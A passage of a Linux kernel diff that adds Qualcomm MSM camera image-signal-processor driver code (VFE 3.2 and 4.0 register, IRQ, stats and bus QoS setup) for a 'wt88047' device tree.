msm_vfe32_update_ping_pong_addr(struct vfe_device *vfe_dev, + uint8_t wm_idx, uint32_t pingpong_status, dma_addr_t paddr) +{ + uint32_t paddr32 = (paddr & 0xFFFFFFFF); + msm_camera_io_w(paddr32, vfe_dev->vfe_base + + VFE32_PING_PONG_BASE(wm_idx, pingpong_status)); +} + +static long msm_vfe32_axi_halt(struct vfe_device *vfe_dev, + uint32_t blocking) +{ + uint32_t halt_mask; + uint32_t axi_busy_flag = false; + msm_camera_io_w_mb(0x1, vfe_dev->vfe_base + 0x1D8); + if (blocking) { + axi_busy_flag = true; + } + while (axi_busy_flag) { + if (msm_camera_io_r( + vfe_dev->vfe_base + 0x1DC) & 0x1) + axi_busy_flag = false; + } + msm_camera_io_w_mb(0, vfe_dev->vfe_base + 0x1D8); + halt_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x20); + halt_mask &= 0xFEFFFFFF; + /* Disable AXI IRQ */ + msm_camera_io_w_mb(halt_mask, vfe_dev->vfe_base + 0x20); + return 0; +} + +static uint32_t msm_vfe32_get_wm_mask( + uint32_t irq_status0, uint32_t irq_status1) +{ + return (irq_status0 >> 6) & 0x7F; +} + +static uint32_t msm_vfe32_get_comp_mask( + uint32_t irq_status0, uint32_t irq_status1) +{ + return (irq_status0 >> 21) & 0x7; +} + +static uint32_t msm_vfe32_get_pingpong_status(struct vfe_device *vfe_dev) +{ + return msm_camera_io_r(vfe_dev->vfe_base + 0x180); +} + +static int msm_vfe32_get_stats_idx(enum msm_isp_stats_type stats_type) +{ + switch (stats_type) { + case MSM_ISP_STATS_AEC: + case MSM_ISP_STATS_BG: + return 0; + case MSM_ISP_STATS_AF: + case MSM_ISP_STATS_BF: + return 1; + case MSM_ISP_STATS_AWB: + return 2; + case MSM_ISP_STATS_RS: + return 3; + case MSM_ISP_STATS_CS: + return 4; + case MSM_ISP_STATS_IHIST: + return 5; + case MSM_ISP_STATS_SKIN: + case MSM_ISP_STATS_BHIST: + return 6; + default: + pr_err("%s: Invalid stats type\n", __func__); + return -EINVAL; + } +} + +static int msm_vfe32_stats_check_streams( + struct msm_vfe_stats_stream *stream_info) +{ + return 0; +} + +static void msm_vfe32_stats_cfg_comp_mask(struct vfe_device *vfe_dev, + uint32_t stats_mask, uint8_t enable) +{ + return; +} + +static void msm_vfe32_stats_cfg_wm_irq_mask(struct vfe_device *vfe_dev, + struct msm_vfe_stats_stream *stream_info) +{ + uint32_t irq_mask; + irq_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x1C); + irq_mask |= BIT(STATS_IDX(stream_info->stream_handle) + 13); + msm_camera_io_w(irq_mask, vfe_dev->vfe_base + 0x1C); + return; +} + +static void msm_vfe32_stats_clear_wm_irq_mask(struct vfe_device *vfe_dev, + struct msm_vfe_stats_stream *stream_info) +{ + uint32_t irq_mask; + irq_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x1C); + irq_mask &= ~(BIT(STATS_IDX(stream_info->stream_handle) + 13)); + msm_camera_io_w(irq_mask, vfe_dev->vfe_base + 0x1C); + return; +} + +static void msm_vfe32_stats_cfg_wm_reg(struct vfe_device *vfe_dev, + struct msm_vfe_stats_stream *stream_info) +{ + /*Nothing to configure for VFE3.x*/ + return; +} + +static void msm_vfe32_stats_clear_wm_reg(struct vfe_device *vfe_dev, + struct msm_vfe_stats_stream *stream_info) +{ + /*Nothing to configure for VFE3.x*/ + return; +} + +static void msm_vfe32_stats_cfg_ub(struct vfe_device *vfe_dev) +{ + int i; + uint32_t ub_offset = VFE32_UB_SIZE; + uint32_t ub_size[VFE32_NUM_STATS_TYPE] = { + 107, /*MSM_ISP_STATS_BG*/ + 92, /*MSM_ISP_STATS_BF*/ + 2, /*MSM_ISP_STATS_AWB*/ + 7, /*MSM_ISP_STATS_RS*/ + 16, /*MSM_ISP_STATS_CS*/ + 2, /*MSM_ISP_STATS_IHIST*/ + 7, /*MSM_ISP_STATS_BHIST*/ + }; + + for (i = 0; i < VFE32_NUM_STATS_TYPE; i++) { + ub_offset -= ub_size[i]; + msm_camera_io_w(ub_offset << 16 | (ub_size[i] - 1), + vfe_dev->vfe_base + VFE32_STATS_BASE(i) + 0x8); + } + return; +} + +static void msm_vfe32_stats_enable_module(struct vfe_device *vfe_dev, + uint32_t stats_mask, uint8_t enable) +{ + int i; + uint32_t module_cfg, module_cfg_mask = 0; + + for (i = 0; i < VFE32_NUM_STATS_TYPE; i++) { + if ((stats_mask >> i) & 0x1) { + switch (i) { + case 0: + case 1: + case 2: + case 3: + case 4: + module_cfg_mask |= 1 << (5 + i); + break; + case 5: + module_cfg_mask |= 1 << 16; + break; + case 6: + module_cfg_mask |= 1 << 19; + break; + default: + pr_err("%s: Invalid stats mask\n", __func__); + return; + } + } + } + + module_cfg = msm_camera_io_r(vfe_dev->vfe_base + 0x10); + if (enable) + module_cfg |= module_cfg_mask; + else + module_cfg &= ~module_cfg_mask; + msm_camera_io_w(module_cfg, vfe_dev->vfe_base + 0x10); +} + +static void msm_vfe32_stats_update_ping_pong_addr(struct vfe_device *vfe_dev, + struct msm_vfe_stats_stream *stream_info, uint32_t pingpong_status, + dma_addr_t paddr) +{ + uint32_t paddr32 = (paddr & 0xFFFFFFFF); + int stats_idx = STATS_IDX(stream_info->stream_handle); + msm_camera_io_w(paddr32, vfe_dev->vfe_base + + VFE32_STATS_PING_PONG_BASE(stats_idx, pingpong_status)); +} + +static uint32_t msm_vfe32_stats_get_wm_mask(uint32_t irq_status0, + uint32_t irq_status1) +{ + return (irq_status0 >> 13) & 0x7F; +} + +static void msm_vfe32_get_overflow_mask(uint32_t *overflow_mask) +{ + *overflow_mask = 0x002FFF7E; +} + +static void msm_vfe32_get_irq_mask(struct vfe_device *vfe_dev, + uint32_t *irq0_mask, uint32_t *irq1_mask) +{ + *irq0_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x1C); + *irq1_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x20); +} + +static int msm_vfe32_get_reg_update(uint32_t irq0_status, + uint32_t irq1_status) +{ + int rc = 0; + if ((irq0_status & 0x20) || (irq1_status & 0x1C000000)) + rc = 1; + return rc; +} + +static void msm_vfe32_restore_irq_mask(struct vfe_device *vfe_dev) +{ + msm_camera_io_w(vfe_dev->error_info.overflow_recover_irq_mask0, + vfe_dev->vfe_base + 0x1C); + msm_camera_io_w(vfe_dev->error_info.overflow_recover_irq_mask1, + vfe_dev->vfe_base + 0x20); +} + +static void msm_vfe32_get_halt_restart_mask(uint32_t *irq0_mask, + uint32_t *irq1_mask) +{ + *irq0_mask = 0x0; + *irq1_mask = 0x01800000; +} + +static uint32_t msm_vfe32_stats_get_comp_mask(uint32_t irq_status0, + uint32_t irq_status1) +{ + return (irq_status0 >> 24) & 0x1; +} + +static uint32_t msm_vfe32_stats_get_frame_id(struct vfe_device *vfe_dev) +{ + uint32_t session_id = 0; + session_id = vfe_dev->axi_data.src_info[VFE_PIX_0].session_id; + return vfe_dev->axi_data.frame_id[session_id]; +} + +static int msm_vfe32_get_platform_data(struct vfe_device *vfe_dev) +{ + int rc = 0; + vfe_dev->vfe_mem = platform_get_resource_byname(vfe_dev->pdev, + IORESOURCE_MEM, "vfe"); + if (!vfe_dev->vfe_mem) { + pr_err("%s: no mem resource?\n", __func__); + rc = -ENODEV; + goto vfe_no_resource; + } + + vfe_dev->vfe_irq = platform_get_resource_byname(vfe_dev->pdev, + IORESOURCE_IRQ, "vfe"); + if (!vfe_dev->vfe_irq) { + pr_err("%s: no irq resource?\n", __func__); + rc = -ENODEV; + goto vfe_no_resource; + } + + vfe_dev->fs_vfe = regulator_get(&vfe_dev->pdev->dev, "vdd"); + if (IS_ERR(vfe_dev->fs_vfe)) { + pr_err("%s: Regulator get failed %ld\n", __func__, + PTR_ERR(vfe_dev->fs_vfe)); + vfe_dev->fs_vfe = NULL; + rc = -ENODEV; + goto vfe_no_resource; + } + + if (!vfe_dev->pdev->dev.of_node) + vfe_dev->iommu_ctx[0] = msm_iommu_get_ctx("vfe_imgwr"); + else + vfe_dev->iommu_ctx[0] = msm_iommu_get_ctx("vfe0"); + + if (!vfe_dev->iommu_ctx[0]) { + pr_err("%s: no iommux ctx resource?\n", __func__); + rc = -ENODEV; + goto vfe_no_resource; + } + + if (!vfe_dev->pdev->dev.of_node) + vfe_dev->iommu_ctx[1] = msm_iommu_get_ctx("vfe_misc"); + else + vfe_dev->iommu_ctx[1] = msm_iommu_get_ctx("vfe0"); + + if (!vfe_dev->iommu_ctx[1]) { + pr_err("%s: no iommux ctx resource?\n", __func__); + rc = -ENODEV; + goto vfe_no_resource; + } + +vfe_no_resource: + return rc; +} + +static void msm_vfe32_get_error_mask(uint32_t *error_mask0, + uint32_t *error_mask1) +{ + *error_mask0 = 0x00000000; + *error_mask1 = 0x007FFFFF; +} + +struct msm_vfe_axi_hardware_info msm_vfe32_axi_hw_info = { + .num_wm = 5, + .num_comp_mask = 3, + .num_rdi = 3, + .num_rdi_master = 3, + .min_wm_ub = 64, +}; + +static struct msm_vfe_stats_hardware_info msm_vfe32_stats_hw_info = { + .stats_capability_mask = + 1 << MSM_ISP_STATS_AEC | 1 << MSM_ISP_STATS_BG | + 1 << MSM_ISP_STATS_AF | 1 << MSM_ISP_STATS_BF | + 1 << MSM_ISP_STATS_AWB | 1 << MSM_ISP_STATS_IHIST | + 1 << MSM_ISP_STATS_RS | 1 << MSM_ISP_STATS_CS | + 1 << MSM_ISP_STATS_SKIN | 1 << MSM_ISP_STATS_BHIST, + .stats_ping_pong_offset = stats_pingpong_offset_map, + .num_stats_type = VFE32_NUM_STATS_TYPE, + .num_stats_comp_mask = 0, +}; + +static struct v4l2_subdev_core_ops msm_vfe32_subdev_core_ops = { + .ioctl = msm_isp_ioctl, + .subscribe_event = msm_isp_subscribe_event, + .unsubscribe_event = msm_isp_unsubscribe_event, +}; + +static struct v4l2_subdev_ops msm_vfe32_subdev_ops = { + .core = &msm_vfe32_subdev_core_ops, +}; + +static struct v4l2_subdev_internal_ops msm_vfe32_internal_ops = { + .open = msm_isp_open_node, + .close = msm_isp_close_node, +}; + +struct msm_vfe_hardware_info vfe32_hw_info = { + .num_iommu_ctx = 2, + .vfe_clk_idx = VFE32_CLK_IDX, + .vfe_ops = { + .irq_ops = { + .read_irq_status = msm_vfe32_read_irq_status, + .process_camif_irq = msm_vfe32_process_camif_irq, + .process_reset_irq = msm_vfe32_process_reset_irq, + .process_halt_irq = msm_vfe32_process_halt_irq, + .process_reg_update = msm_vfe32_process_reg_update, + .process_axi_irq = msm_isp_process_axi_irq, + .process_stats_irq = msm_isp_process_stats_irq, + }, + .axi_ops = { + .reload_wm = msm_vfe32_axi_reload_wm, + .enable_wm = msm_vfe32_axi_enable_wm, + .cfg_io_format = msm_vfe32_cfg_io_format, + .cfg_comp_mask = msm_vfe32_axi_cfg_comp_mask, + .clear_comp_mask = msm_vfe32_axi_clear_comp_mask, + .cfg_wm_irq_mask = msm_vfe32_axi_cfg_wm_irq_mask, + .clear_wm_irq_mask = msm_vfe32_axi_clear_wm_irq_mask, + .cfg_framedrop = msm_vfe32_cfg_framedrop, + .clear_framedrop = msm_vfe32_clear_framedrop, + .cfg_wm_reg = msm_vfe32_axi_cfg_wm_reg, + .clear_wm_reg = msm_vfe32_axi_clear_wm_reg, + .cfg_wm_xbar_reg = msm_vfe32_axi_cfg_wm_xbar_reg, + .clear_wm_xbar_reg = msm_vfe32_axi_clear_wm_xbar_reg, + .cfg_ub = msm_vfe32_cfg_axi_ub, + .update_ping_pong_addr = + msm_vfe32_update_ping_pong_addr, + .get_comp_mask = msm_vfe32_get_comp_mask, + .get_wm_mask = msm_vfe32_get_wm_mask, + .get_pingpong_status = msm_vfe32_get_pingpong_status, + .halt = msm_vfe32_axi_halt, + }, + .core_ops = { + .reg_update = msm_vfe32_reg_update, + .cfg_camif = msm_vfe32_cfg_camif, + .update_camif_state = msm_vfe32_update_camif_state, + .cfg_rdi_reg = msm_vfe32_cfg_rdi_reg, + .reset_hw = msm_vfe32_reset_hardware, + .init_hw = msm_vfe32_init_hardware, + .init_hw_reg = msm_vfe32_init_hardware_reg, + .release_hw = msm_vfe32_release_hardware, + .get_platform_data = msm_vfe32_get_platform_data, + .get_error_mask = msm_vfe32_get_error_mask, + .get_overflow_mask = msm_vfe32_get_overflow_mask, + .get_irq_mask = msm_vfe32_get_irq_mask, + .restore_irq_mask = msm_vfe32_restore_irq_mask, + .get_halt_restart_mask = + msm_vfe32_get_halt_restart_mask, + .process_error_status = msm_vfe32_process_error_status, + .get_regupdate_status = msm_vfe32_get_reg_update, + }, + .stats_ops = { + .get_stats_idx = msm_vfe32_get_stats_idx, + .check_streams = msm_vfe32_stats_check_streams, + .cfg_comp_mask = msm_vfe32_stats_cfg_comp_mask, + .cfg_wm_irq_mask = msm_vfe32_stats_cfg_wm_irq_mask, + .clear_wm_irq_mask = msm_vfe32_stats_clear_wm_irq_mask, + .cfg_wm_reg = msm_vfe32_stats_cfg_wm_reg, + .clear_wm_reg = msm_vfe32_stats_clear_wm_reg, + .cfg_ub = msm_vfe32_stats_cfg_ub, + .enable_module = msm_vfe32_stats_enable_module, + .update_ping_pong_addr = + msm_vfe32_stats_update_ping_pong_addr, + .get_comp_mask = msm_vfe32_stats_get_comp_mask, + .get_wm_mask = msm_vfe32_stats_get_wm_mask, + .get_frame_id = msm_vfe32_stats_get_frame_id, + .get_pingpong_status = msm_vfe32_get_pingpong_status, + }, + }, + .dmi_reg_offset = 0x5A0, + .axi_hw_info = &msm_vfe32_axi_hw_info, + .stats_hw_info = &msm_vfe32_stats_hw_info, + .subdev_ops = &msm_vfe32_subdev_ops, + .subdev_internal_ops = &msm_vfe32_internal_ops, +}; +EXPORT_SYMBOL(vfe32_hw_info); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp32.h b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp32.h new file mode 100644 index 0000000000000..05350486271db --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp32.h @@ -0,0 +1,17 @@ +/* Copyright (c) 2013, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef __MSM_ISP32_H__ +#define __MSM_ISP32_H__ + +extern struct msm_vfe_hardware_info vfe32_hw_info; +#endif /* __MSM_ISP32_H__ */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp40.c b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp40.c new file mode 100644 index 0000000000000..3444db15ba3c8 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp40.c @@ -0,0 +1,1783 @@ +/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#include +#include +#include +#include +#include "msm_isp40.h" +#include "msm_isp_util.h" +#include "msm_isp_axi_util.h" +#include "msm_isp_stats_util.h" +#include "msm_isp.h" +#include "msm.h" +#include "msm_camera_io_util.h" + +/*#define CONFIG_MSM_ISP_DBG*/ +#undef CDBG +#ifdef CONFIG_MSM_ISP_DBG +#define CDBG(fmt, args...) pr_err(fmt, ##args) +#else +#define CDBG(fmt, args...) do { } while (0) +#endif + +/* STATS_SIZE (BE + BG + BF+ RS + CS + IHIST + BHIST ) = 392 */ +#define VFE40_STATS_SIZE 392 +#define VFE40_WM_BASE(idx) (0x6C + 0x24 * idx) +#define VFE40_RDI_BASE(idx) (0x2E8 + 0x4 * idx) +#define VFE40_XBAR_BASE(idx) (0x58 + 0x4 * (idx / 2)) +#define VFE40_XBAR_SHIFT(idx) ((idx%2) ? 16 : 0) +#define VFE40_PING_PONG_BASE(wm, ping_pong) \ + (VFE40_WM_BASE(wm) + 0x4 * (1 + (~(ping_pong >> wm) & 0x1))) + +static uint8_t stats_pingpong_offset_map[] = { + 8, 9, 10, 11, 12, 13, 14, 15}; + +#define VFE40_NUM_STATS_TYPE 8 +#define VFE40_STATS_BASE(idx) (0x168 + 0x18 * idx) +#define VFE40_STATS_PING_PONG_BASE(idx, ping_pong) \ + (VFE40_STATS_BASE(idx) + 0x4 * \ + (~(ping_pong >> (stats_pingpong_offset_map[idx])) & 0x1)) + +#define VFE40_VBIF_CLKON 0x4 +#define VFE40_VBIF_IN_RD_LIM_CONF0 0xB0 +#define VFE40_VBIF_IN_RD_LIM_CONF1 0xB4 +#define VFE40_VBIF_IN_RD_LIM_CONF2 0xB8 +#define VFE40_VBIF_IN_WR_LIM_CONF0 0xC0 +#define VFE40_VBIF_IN_WR_LIM_CONF1 0xC4 +#define VFE40_VBIF_IN_WR_LIM_CONF2 0xC8 +#define VFE40_VBIF_OUT_RD_LIM_CONF0 0xD0 +#define VFE40_VBIF_OUT_WR_LIM_CONF0 0xD4 +#define VFE40_VBIF_DDR_OUT_MAX_BURST 0xD8 +#define VFE40_VBIF_OCMEM_OUT_MAX_BURST 0xDC +#define VFE40_VBIF_ARB_CTL 0xF0 +#define VFE40_VBIF_ROUND_ROBIN_QOS_ARB 0x124 +#define VFE40_VBIF_OUT_AXI_AMEMTYPE_CONF0 0x160 +#define VFE40_VBIF_OUT_AXI_AMEMTYPE_CONF1 0x164 +#define VFE40_VBIF_OUT_AXI_AOOO_EN 0x178 +#define VFE40_VBIF_OUT_AXI_AOOO 0x17C + +#define VFE40_BUS_BDG_QOS_CFG_0 0x000002C4 +#define VFE40_BUS_BDG_QOS_CFG_1 0x000002C8 +#define VFE40_BUS_BDG_QOS_CFG_2 0x000002CC +#define VFE40_BUS_BDG_QOS_CFG_3 0x000002D0 +#define VFE40_BUS_BDG_QOS_CFG_4 0x000002D4 +#define VFE40_BUS_BDG_QOS_CFG_5 0x000002D8 +#define VFE40_BUS_BDG_QOS_CFG_6 0x000002DC +#define VFE40_BUS_BDG_QOS_CFG_7 0x000002E0 + +#define VFE40_CLK_IDX 1 +/*Iterations for averaging outstanding writes counts*/ +#define MAX_NUM_FRAMES 10 +/* Maximum outstanding writes to avoid image master bus +overflows*/ +#define MAX_OUT_WRITES_LEVEL 4000000 + +static struct msm_cam_clk_info msm_vfe40_clk_info[VFE_CLK_INFO_MAX]; + +static void msm_vfe40_init_qos_parms(struct vfe_device *vfe_dev) +{ + void __iomem *vfebase = vfe_dev->vfe_base; + + if (vfe_dev->vfe_hw_version == VFE40_8974V1_VERSION || + vfe_dev->vfe_hw_version == VFE40_8x26_VERSION || + vfe_dev->vfe_hw_version == VFE40_8x26V2_VERSION) { + msm_camera_io_w(0xAAAAAAAA, vfebase + VFE40_BUS_BDG_QOS_CFG_0); + msm_camera_io_w(0xAAAAAAAA, vfebase + VFE40_BUS_BDG_QOS_CFG_1); + msm_camera_io_w(0xAAAAAAAA, vfebase + VFE40_BUS_BDG_QOS_CFG_2); + msm_camera_io_w(0xAAAAAAAA, vfebase + VFE40_BUS_BDG_QOS_CFG_3); + msm_camera_io_w(0xAAAAAAAA, vfebase + VFE40_BUS_BDG_QOS_CFG_4); + msm_camera_io_w(0xAAAAAAAA, vfebase + VFE40_BUS_BDG_QOS_CFG_5); + msm_camera_io_w(0xAAAAAAAA, vfebase + VFE40_BUS_BDG_QOS_CFG_6); + msm_camera_io_w(0x0002AAAA, vfebase + VFE40_BUS_BDG_QOS_CFG_7); + } else if (vfe_dev->vfe_hw_version == VFE40_8974V2_VERSION || + vfe_dev->vfe_hw_version == VFE40_8974V3_VERSION) { + msm_camera_io_w(0xAAA9AAA9, vfebase + VFE40_BUS_BDG_QOS_CFG_0); + msm_camera_io_w(0xAAA9AAA9, vfebase + VFE40_BUS_BDG_QOS_CFG_1); + msm_camera_io_w(0xAAA9AAA9, vfebase + VFE40_BUS_BDG_QOS_CFG_2); + msm_camera_io_w(0xAAA9AAA9, vfebase + VFE40_BUS_BDG_QOS_CFG_3); + msm_camera_io_w(0xAAA9AAA9, vfebase + VFE40_BUS_BDG_QOS_CFG_4); + msm_camera_io_w(0xAAA9AAA9, vfebase + VFE40_BUS_BDG_QOS_CFG_5); + msm_camera_io_w(0xAAA9AAA9, vfebase + VFE40_BUS_BDG_QOS_CFG_6); + msm_camera_io_w(0x0001AAA9, vfebase + VFE40_BUS_BDG_QOS_CFG_7); + } else if (vfe_dev->vfe_hw_version == VFE40_8916_VERSION) { + msm_camera_io_w(0xAAA5AAA5, vfebase + VFE40_BUS_BDG_QOS_CFG_0); + msm_camera_io_w(0xAAA5AAA5, vfebase + VFE40_BUS_BDG_QOS_CFG_1); + msm_camera_io_w(0xAAA5AAA5, vfebase + VFE40_BUS_BDG_QOS_CFG_2); + msm_camera_io_w(0xAAA5AAA5, vfebase + VFE40_BUS_BDG_QOS_CFG_3); + msm_camera_io_w(0xAAA5AAA5, vfebase + VFE40_BUS_BDG_QOS_CFG_4); + msm_camera_io_w(0xAAA5AAA5, vfebase + VFE40_BUS_BDG_QOS_CFG_5); + msm_camera_io_w(0xAAA5AAA5, vfebase + VFE40_BUS_BDG_QOS_CFG_6); + msm_camera_io_w(0x0001AAA5, vfebase + VFE40_BUS_BDG_QOS_CFG_7); + } else { + BUG(); + pr_err("%s: QOS is NOT configured for HW Version %x\n", + __func__, vfe_dev->vfe_hw_version); + } +} + +static void msm_vfe40_init_vbif_parms_8974_v1(struct vfe_device *vfe_dev) +{ + void __iomem *vfe_vbif_base = vfe_dev->vfe_vbif_base; + msm_camera_io_w(0x1, + vfe_vbif_base + VFE40_VBIF_CLKON); + msm_camera_io_w(0x01010101, + vfe_vbif_base + VFE40_VBIF_IN_RD_LIM_CONF0); + msm_camera_io_w(0x01010101, + vfe_vbif_base + VFE40_VBIF_IN_RD_LIM_CONF1); + msm_camera_io_w(0x10010110, + vfe_vbif_base + VFE40_VBIF_IN_RD_LIM_CONF2); + msm_camera_io_w(0x10101010, + vfe_vbif_base + VFE40_VBIF_IN_WR_LIM_CONF0); + msm_camera_io_w(0x10101010, + vfe_vbif_base + VFE40_VBIF_IN_WR_LIM_CONF1); + msm_camera_io_w(0x10101010, + vfe_vbif_base + VFE40_VBIF_IN_WR_LIM_CONF2); + msm_camera_io_w(0x00001010, + vfe_vbif_base + VFE40_VBIF_OUT_RD_LIM_CONF0); + msm_camera_io_w(0x00001010, + vfe_vbif_base + VFE40_VBIF_OUT_WR_LIM_CONF0); + msm_camera_io_w(0x00000707, + vfe_vbif_base + VFE40_VBIF_DDR_OUT_MAX_BURST); + msm_camera_io_w(0x00000707, + vfe_vbif_base + VFE40_VBIF_OCMEM_OUT_MAX_BURST); + msm_camera_io_w(0x00000030, + vfe_vbif_base + VFE40_VBIF_ARB_CTL); + msm_camera_io_w(0x00000FFF, + vfe_vbif_base + VFE40_VBIF_OUT_AXI_AOOO_EN); + msm_camera_io_w(0x0FFF0FFF, + vfe_vbif_base + VFE40_VBIF_OUT_AXI_AOOO); + msm_camera_io_w(0x00000001, + vfe_vbif_base + VFE40_VBIF_ROUND_ROBIN_QOS_ARB); + msm_camera_io_w(0x22222222, + vfe_vbif_base + VFE40_VBIF_OUT_AXI_AMEMTYPE_CONF0); + msm_camera_io_w(0x00002222, + vfe_vbif_base + VFE40_VBIF_OUT_AXI_AMEMTYPE_CONF1); + return; +} + +static void msm_vfe40_init_vbif_parms_8974_v2(struct vfe_device *vfe_dev) +{ + void __iomem *vfe_vbif_base = vfe_dev->vfe_vbif_base; + msm_camera_io_w(0x1, + vfe_vbif_base + VFE40_VBIF_CLKON); + msm_camera_io_w(0x10101010, + vfe_vbif_base + VFE40_VBIF_IN_RD_LIM_CONF0); + msm_camera_io_w(0x10101010, + vfe_vbif_base + VFE40_VBIF_IN_RD_LIM_CONF1); + msm_camera_io_w(0x10101010, + vfe_vbif_base + VFE40_VBIF_IN_RD_LIM_CONF2); + msm_camera_io_w(0x10101010, + vfe_vbif_base + VFE40_VBIF_IN_WR_LIM_CONF0); + msm_camera_io_w(0x10101010, + vfe_vbif_base + VFE40_VBIF_IN_WR_LIM_CONF1); + msm_camera_io_w(0x10101010, + vfe_vbif_base + VFE40_VBIF_IN_WR_LIM_CONF2); + msm_camera_io_w(0x00000010, + vfe_vbif_base + VFE40_VBIF_OUT_RD_LIM_CONF0); + msm_camera_io_w(0x00000010, + vfe_vbif_base + VFE40_VBIF_OUT_WR_LIM_CONF0); + msm_camera_io_w(0x00000707, + vfe_vbif_base + VFE40_VBIF_DDR_OUT_MAX_BURST); + msm_camera_io_w(0x00000010, + vfe_vbif_base + VFE40_VBIF_ARB_CTL); + msm_camera_io_w(0x00000FFF, + vfe_vbif_base + VFE40_VBIF_OUT_AXI_AOOO_EN); + msm_camera_io_w(0x0FFF0FFF, + vfe_vbif_base + VFE40_VBIF_OUT_AXI_AOOO); + msm_camera_io_w(0x00000003, + vfe_vbif_base + VFE40_VBIF_ROUND_ROBIN_QOS_ARB); + msm_camera_io_w(0x22222222, + vfe_vbif_base + VFE40_VBIF_OUT_AXI_AMEMTYPE_CONF0); + msm_camera_io_w(0x00002222, + vfe_vbif_base + VFE40_VBIF_OUT_AXI_AMEMTYPE_CONF1); + return; +} + +static void msm_vfe40_init_vbif_parms_8x26(struct vfe_device *vfe_dev) +{ + void __iomem *vfe_vbif_base = vfe_dev->vfe_vbif_base; + msm_camera_io_w(0x10101010, + vfe_vbif_base + VFE40_VBIF_IN_RD_LIM_CONF0); + msm_camera_io_w(0x10101010, + vfe_vbif_base + VFE40_VBIF_IN_RD_LIM_CONF1); + msm_camera_io_w(0x10101010, + vfe_vbif_base + VFE40_VBIF_IN_WR_LIM_CONF0); + msm_camera_io_w(0x10101010, + vfe_vbif_base + VFE40_VBIF_IN_WR_LIM_CONF1); + msm_camera_io_w(0x00000010, + vfe_vbif_base + VFE40_VBIF_OUT_RD_LIM_CONF0); + msm_camera_io_w(0x00000010, + vfe_vbif_base + VFE40_VBIF_OUT_WR_LIM_CONF0); + msm_camera_io_w(0x00000707, + vfe_vbif_base + VFE40_VBIF_DDR_OUT_MAX_BURST); + msm_camera_io_w(0x000000FF, + vfe_vbif_base + VFE40_VBIF_OUT_AXI_AOOO_EN); + msm_camera_io_w(0x00FF00FF, + vfe_vbif_base + VFE40_VBIF_OUT_AXI_AOOO); + msm_camera_io_w(0x00000003, + vfe_vbif_base + VFE40_VBIF_ROUND_ROBIN_QOS_ARB); + msm_camera_io_w(0x22222222, + vfe_vbif_base + VFE40_VBIF_OUT_AXI_AMEMTYPE_CONF0); + return; +} + +static void msm_vfe40_init_vbif_parms(struct vfe_device *vfe_dev) +{ + switch (vfe_dev->vfe_hw_version) { + case VFE40_8974V1_VERSION: + msm_vfe40_init_vbif_parms_8974_v1(vfe_dev); + break; + case VFE40_8974V2_VERSION: + case VFE40_8974V3_VERSION: + msm_vfe40_init_vbif_parms_8974_v2(vfe_dev); + break; + case VFE40_8x26_VERSION: + case VFE40_8x26V2_VERSION: + msm_vfe40_init_vbif_parms_8x26(vfe_dev); + break; + case VFE40_8916_VERSION: + /*Reset hardware values are correct vbif values. + So no need to set*/ + break; + default: + BUG(); + pr_err("%s: VBIF is NOT configured for HW Version %x\n", + __func__, vfe_dev->vfe_hw_version); + } + +} + +static int msm_vfe40_init_hardware(struct vfe_device *vfe_dev) +{ + int rc = -1; + rc = msm_isp_init_bandwidth_mgr(ISP_VFE0 + vfe_dev->pdev->id); + if (rc < 0) { + pr_err("%s: Bandwidth registration Failed!\n", __func__); + goto bus_scale_register_failed; + } + + if (vfe_dev->fs_vfe) { + rc = regulator_enable(vfe_dev->fs_vfe); + if (rc) { + pr_err("%s: Regulator enable failed\n", __func__); + goto fs_failed; + } + } + + rc = msm_isp_get_clk_info(vfe_dev, vfe_dev->pdev, + &msm_vfe40_clk_info[0]); + if (rc < 0) { + pr_err("msm_isp_get_clk_info() failed\n"); + goto fs_failed; + } + + rc = msm_cam_clk_enable(&vfe_dev->pdev->dev, msm_vfe40_clk_info, + vfe_dev->vfe_clk, vfe_dev->num_clk, 1); + if (rc < 0) + goto clk_enable_failed; + + vfe_dev->vfe_base = ioremap(vfe_dev->vfe_mem->start, + resource_size(vfe_dev->vfe_mem)); + if (!vfe_dev->vfe_base) { + rc = -ENOMEM; + pr_err("%s: vfe ioremap failed\n", __func__); + goto vfe_remap_failed; + } + + vfe_dev->vfe_vbif_base = ioremap(vfe_dev->vfe_vbif_mem->start, + resource_size(vfe_dev->vfe_vbif_mem)); + if (!vfe_dev->vfe_vbif_base) { + rc = -ENOMEM; + pr_err("%s: vfe ioremap failed\n", __func__); + goto vbif_remap_failed; + } + + rc = request_irq(vfe_dev->vfe_irq->start, msm_isp_process_irq, + IRQF_TRIGGER_RISING, "vfe", vfe_dev); + if (rc < 0) { + pr_err("%s: irq request failed\n", __func__); + goto irq_req_failed; + } + return rc; +irq_req_failed: + iounmap(vfe_dev->vfe_vbif_base); +vbif_remap_failed: + iounmap(vfe_dev->vfe_base); +vfe_remap_failed: + msm_cam_clk_enable(&vfe_dev->pdev->dev, msm_vfe40_clk_info, + vfe_dev->vfe_clk, vfe_dev->num_clk, 0); +clk_enable_failed: + if (vfe_dev->fs_vfe) { + regulator_disable(vfe_dev->fs_vfe); + } +fs_failed: + msm_isp_deinit_bandwidth_mgr(ISP_VFE0 + 